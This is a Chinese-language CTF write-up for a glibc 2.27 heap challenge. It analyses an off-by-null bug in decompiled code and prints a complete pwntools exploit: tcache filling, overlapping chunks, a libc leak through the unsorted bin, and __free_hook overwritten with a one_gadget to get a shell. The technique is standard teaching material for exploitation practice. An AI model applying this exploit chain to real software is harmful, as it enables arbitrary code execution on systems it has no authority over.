看一下保护机制
再拖到ida查看一下main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; unsigned __int64 v4;
v4 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); while ( 1 ) { while ( 1 ) { puts("1.ADD"); puts("2.CHANGE"); puts("3.PRINT"); puts("4.DEL"); putchar(':'); __isoc99_scanf("%d", &v3); if ( v3 != 2 ) break; edit(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print(); } else if ( v3 == 4 ) { del(); } else { LABEL_13: puts("NO CHOICE"); } } else { if ( v3 != 1 ) goto LABEL_13; add(); } } }
|
菜单题 其他函数没有什么好说的 重点看两个函数 delete和edit
unsigned __int64 del() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%d", &v1); if ( v1 <= 31 ) { free(Page[v1]); Page[v1] = 0LL; Size[v1] = 0; } return __readfsqword(0x28u) ^ v2; }
|
指针置零了 没有办法UAF
unsigned __int64 edit() { int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%d", &v1); if ( v1 <= 31 && Page[v1] ) { printf("Content: "); vuln(Page[v1], Size[v1]); } return __readfsqword(0x28u) ^ v2; }
|
具体跟进到vuln函数
void __fastcall vuln(_BYTE *a1, int a2) { int v2;
if ( a2 > 0 ) { v2 = 0; while ( read(0, a1, 1uLL) == 1 ) { if ( *a1 == '\n' || (++a1, v2 == a2) ) { *a1 = 0; return; } ++v2; } } }
|
注意这里有一个off by null的漏洞 读入的换行符会被替换成0
首先要泄露libc基址 这里采用unsortedbin泄露基址的办法
但是由于远程靶机的版本是ubuntu18.04 新增了tcache
所以我们要先把tcache填满
前置代码:
from os import lseek from pwn import*
io = remote("120.79.18.34",20273) libc = ELF("./libc-2.27.so") elf = ELF("./null") context.log_level = "debug" def add(index,size): io.recvuntil(":") io.sendline(b"1") io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size ") io.sendline(str(size)) io.recvuntil("OK")
def free(index): io.recvuntil(":") io.sendline(b"4") io.recvuntil("Index: ") io.sendline(str(index))
def edit(index,content): io.recvuntil(":") io.sendline(b"2") io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: ") io.sendline(content)
def print(index): io.recvuntil(":") io.sendline(b"3") io.recvuntil("Index: ") io.sendline(str(index))
|
add(0,0x18) add(1,0x68) add(2,0x68)
for i in range(3,10): add(i,0xd0)
for i in range(3,10): free(i)
edit(0,b'a'*0x18+b'\xe1')
|
我们先申请三个堆块 chunk1和2用来合并成一个fake chunk
这里注意一下后续申请的七个chunk大小
后续gdb动调看一下就很容易明白
这里可以看到 chunk1和chunk2已经合并成了一个0xe1大小的堆块
我们具体查看一下当前chunk的内容
可以看到是因为刚才的edit改变了chunk1的size大小
接着我们free一下chunk1 此时由于tcache已经被填满了 所以chunk1就会被释放到unsortedbin
由于其机制 所以此时fd和bk都会指向main_arena+0x??的地址
通过再次申请一个chunk 再调用print函数 就可以打印出我们需要的地址 此时再计算偏移 就可以求出基址
free(1) add(10,0x68) print(10)
|
我们逐步拆分一下这一层的操作
首先是执行完free
成功划入unsortedbin
再申请一个大小为0x68的chunk(只申请一半 是为了接下来的double free做铺垫)
跟进看一下新申请的chunk的内容
这里你会发现两个的chunk fd和bk差了208
这正是0xd0的十进制
但是这并不妨碍我们计算基址
记录下此时动调的fd值
在gdb中我们输入vmmap libc查看一下当前程序运行的libc基址
然后求出偏移 虽然程序每次运行的libc基址和我们泄露出来的main_arena地址都会变化
但是这个偏移值是固定的
libc_addr = main_arena_addr - offset offset = 0x7fa1d8fa7d70 - 0x7fa1d8bbc000
|
基址出来以后 one_gadget和free_hook以及system的地址都可以求出来了
由于程序开启了FULL RELRO保护 我们不能篡改free函数的got表
但是我们可以修改free_hook函数的got表
这里可以应用double free的办法来把free_hook的函数地址放到tcache链上
先把计算基址和一些必要的数据的exp放出来
print(10) free_got = elf.got['free'] io.recvuntil("Content: ") main_arean = u64(io.recvuntil("\x7f").ljust(8,b"\x00")) libc_addr = main_arean -(0x7f91b42a5d70-0x7f91b3eba000) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) onegadget_addr = libc_addr + 0x4f302 free_hook = libc.symbols['__free_hook']+libc_addr
|
此时我们再次申请一个大小为0x68的chunk 你会发现 这个chunk的指针和我们之前申请的chunk2是共享的
所以我们可以先free chunk2 再编辑chunk11的内容 此时你会发现我们编辑进chunk11的内容会被串连到bin链上
add(11,0x68) free(2) edit(11,p64(free_hook))
|
此时我们再申请一个chunk 就会取出bin中第一个chunk 再取出一个 就会获得指向free_hook的chunk
此时我们编辑该chunk的内容 就相当于像free_hook中写入任意
最终exp:
from os import lseek from pwn import* io = process("./null") libc = ELF("./libc-2.27.so") elf = ELF("./null") context.log_level = "debug" def add(index,size): io.recvuntil(":") io.sendline(b"1") io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size ") io.sendline(str(size)) io.recvuntil("OK")
def free(index): io.recvuntil(":") io.sendline(b"4") io.recvuntil("Index: ") io.sendline(str(index))
def edit(index,content): io.recvuntil(":") io.sendline(b"2") io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Content: ") io.sendline(content)
def print(index): io.recvuntil(":") io.sendline(b"3") io.recvuntil("Index: ") io.sendline(str(index))
add(0,0x18) add(1,0x68) add(2,0x68)
for i in range(3,10): add(i,0xd0)
for i in range(3,10): free(i)
edit(0,b'a'*0x18+b'\xe1') free(1) add(10,0x68) print(10) free_got = elf.got['free'] io.recvuntil("Content: ") main_arean = u64(io.recvuntil("\x7f").ljust(8,b"\x00")) libc_addr = main_arean -(0x7f91b42a5d70-0x7f91b3eba000) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) onegadget_addr = libc_addr + 0x4f302 free_hook = libc.symbols['__free_hook']+libc_addr add(11,0x68) free(2) edit(11,p64(free_hook)) add(12,0x68) add(13,0x68) edit(13,p64(onegadget_addr)) free(13) io.interactive()
|